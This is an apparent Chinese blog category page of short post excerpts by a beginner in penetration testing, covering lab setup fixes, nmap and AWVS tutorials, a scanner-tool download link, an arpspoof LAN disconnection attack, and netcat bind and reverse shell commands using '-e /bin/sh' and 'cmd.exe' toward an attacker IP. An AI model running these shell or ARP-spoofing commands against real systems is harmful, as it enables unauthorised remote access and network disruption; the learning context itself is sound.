工具
不管学什么,工具都很重要
mon0dy
小白一个,刚开始学习,有不对的地方还请大佬指点
展开
-
sqli-labs靶场搭建过程及报错解决方法
下载后放在www目录下,我这里用的是phpstudy_pro修改数据库密码运行时结果是这样的查了好多资料说是php的版本不能超过5.5,我看了一下,也没超过5.5啊然后我就去修改靶场代码,都修改了依旧报错折腾好久后发现php的版本根本就不能看上面那个位置,应该是看这个位置,也是在这里安装更多的php版本修改后成功如果我用的是phpstudy2018或者wamp的话就没这么多毛病了。。。...原创 2020-06-01 12:39:51 · 3252 阅读 · 2 评论 -
无报错的VC++6.0下载及安装教程——过程超级简单,win10亲测可以有效避免各种报错
之前找了好多版本的,在最后都是无响应,要不就是缺少一个dll,找了好久终于找到一个可以完美安装且无任何报错的版本原创 2020-05-31 21:00:14 · 1005 阅读 · 2 评论 -
VirtualBox下Linux系统一分钟安装增强功能教程(小白一眼就会)
之前在搭建靶场时,发现只能用VirtualBox,但是VirtualBox和VMware的kali竟然不在同一局域网,弄得我很难受,就直接装一个kali吧,当然增强功能是少不了的首先点击设备,选择增强功能,然后就会出现类似于这个的报错这个时候不用管它,直接打开计算机然后点开就行了右键复制到主目录打开终端,输入chmod 777 VBoxLinuxAdditions.run进行提权在输入./VBoxLinuxAdditions.run即可,最后会出现xxxxx false,不用管它,只要页面变原创 2020-05-31 15:32:13 · 2933 阅读 · 1 评论 -
出现VMware Workstation 与 Device/Credential Guard 不兼容.在禁用 Device/Credenti的一种可能
运行虚拟机时出现VMware Workstation 与 Device/Credential Guard 不兼容.在禁用 Device/Credenti报错网上的方法只有这两种,这里附上链接:https://www.cnblogs.com/navysummer/p/12792401.html但是更新了win10 1909版本后什么都变了,而且之前还好好的,这些服务我根本就没动过,虚拟机怎么就突然坏了呢经过一番努力(此处省略800字),找到了原因,因为今天我好奇,所以开了win10的虚拟机监控程序平台原创 2020-05-28 20:36:00 · 3390 阅读 · 0 评论 -
win10 1909版本无法修改默认浏览器(闪退)解决方法
今天更新的win10 1909之后,发现默认浏览器被修改成Internet explorer了,想修改发现改不了,一点就闪退到网上找解决方法,有说用控制面板打开默认程序就像这样结果我打开设置默认浏览器后直接又跳转这了,这种方法失败。。。还有的说打开启用或关闭windows功能,取消Internet explorer 11的选项,结果取消不了,会报错还有的说直接禁用服务,反正我是不敢找了好久也没找到有效的解决办法,后来灵机一动,决定以毒攻毒,下载了电脑管家,在安全工具中找到浏览器保护,直原创 2020-05-28 13:52:41 · 14604 阅读 · 16 评论 -
利用arpspoof进行局域网断网攻击
关于局域网断网攻击,顾名思义,就是对局域网内某个IP或全部IP进行攻击,让局域网内某个IP或全部IP断网,这是不是很有趣。 原理:关于arp断网攻击是基于arp协议的缺陷,这其实是arp欺骗的时候配置错误引起的现象。就是以...转载 2020-05-20 14:02:37 · 6501 阅读 · 3 评论 -
利用nc反弹shell
正向shell:攻击机主动连接靶机攻击机主动连接并得到反弹shell nc 靶机ip 53##因为防火墙的原因,通常不会成功服务端监听连接 nc -lp 53 -e /bin/sh ##-lp就是-l,-p写在一起 nc -lp 53 -e c:\windows\system32\cmd.exe ##windows反向shell:靶机连接攻击机(靶机运行了攻击机制作的后门程序)攻击机监听nc -lp 53 ##通常选用80,53等常用端口,防止连接失败靶机连接攻击机nc 攻击机ip原创 2020-05-18 17:08:43 · 490 阅读 · 0 评论 -
御剑系列扫描工具(五款)下载
链接:https://pan.baidu.com/s/12cFRdD61ssj2TBPgMtlauQ提取码:u48s原创 2020-05-09 15:28:44 · 19207 阅读 · 13 评论 -
namp使用教程
一、Nmap在侦查期间,扫描一直是信息收集的初始阶段。什么是侦查侦查是尽可能多收集关于目标网络的信息。从黑客的角度来看,信息收集对于一次攻击非常有用,所以为了封锁恶意的企图,渗透测试者通常尽力查找这些信息,发现后修复这个缺陷。这也被叫做踩点。通过信息收集,人们通常会发现如下类型的信息:E-mail 地址端口号/协议操作系统信息运行的服务Traceroute 信息...转载 2020-05-05 19:29:41 · 1241 阅读 · 0 评论 -
AWVS10.5&12超详细使用教程
AWVS介绍awvs原创 2020-04-05 17:58:56 · 15713 阅读 · 6 评论